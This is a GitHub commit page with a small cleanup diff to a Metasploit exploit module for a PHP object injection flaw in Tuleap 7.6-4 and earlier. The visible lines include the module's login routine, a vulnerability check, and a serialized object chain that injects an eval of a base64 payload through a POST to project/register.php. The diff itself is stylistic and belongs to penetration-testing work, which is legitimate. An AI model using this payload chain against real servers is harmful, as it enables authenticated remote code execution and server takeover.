Skip to content

Commit 4871228

Browse files
committed
Do minor cleanup
1 parent 700ccc7 commit 4871228

File tree

1 file changed

+8
-8
lines changed

1 file changed

+8
-8
lines changed

modules/exploits/unix/webapp/tuleap_unserialize_exec.rb

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
1212

1313
def initialize(info = {})
1414
super(update_info(info,
15-
'Name' => 'Tuleap unserialize() PHP Code Execution',
15+
'Name' => 'Tuleap Unserialize PHP Code Execution',
1616
'Description' => %q{
1717
This module exploits a PHP object injection vulnerability in Tuelap <= 7.6-4 which could be
1818
abused to allow authenticated users to execute arbitrary code with the permissions of the
@@ -53,7 +53,8 @@ def check
5353
if res and res.body and res.body.to_s =~ /#{flag}/
5454
return Exploit::CheckCode::Vulnerable
5555
end
56-
return Exploit::CheckCode::Safe
56+
57+
Exploit::CheckCode::Safe
5758
end
5859

5960
def do_login()
@@ -68,13 +69,12 @@ def do_login()
6869
'vars_post' => {'form_loginname' => username, 'form_pw' => password}
6970
})
7071

71-
if res and res.code == 302
72-
print_status("#{peer} - Login successful with #{username}:#{password}")
73-
return res.get_cookies
72+
unless res && res.code == 302
73+
fail_with(Failure::NoAccess, "#{peer} - Login failed with #{username}:#{password}")
7474
end
7575

76-
print_error("#{peer} - Login failed with #{username}:#{password}")
77-
fail_with(Failure::NoAccess, 'Login failed')
76+
print_status("#{peer} - Login successful with #{username}:#{password}")
77+
res.get_cookies
7878
end
7979

8080
def exec_php(php_code)
@@ -85,7 +85,7 @@ def exec_php(php_code)
8585
chain << 'a:1:{S:9:"debug_log";a:2:{i:0;O:34:"Transition_PostAction_FieldFactory":1:{S:23:"\00*\00post_actions_classes";'
8686
chain << 'a:1:{i:0;S:52:"1;eval(base64_decode($_SERVER[HTTP_PAYLOAD]));die;//";}}i:1;S:16:"fetchPostActions";}}}}'
8787

88-
return send_request_cgi({
88+
send_request_cgi({
8989
'method' => 'POST',
9090
'uri' => normalize_uri(target_uri.path, 'project/register.php'),
9191
'cookie' => session_cookies,

0 commit comments

Comments
 (0)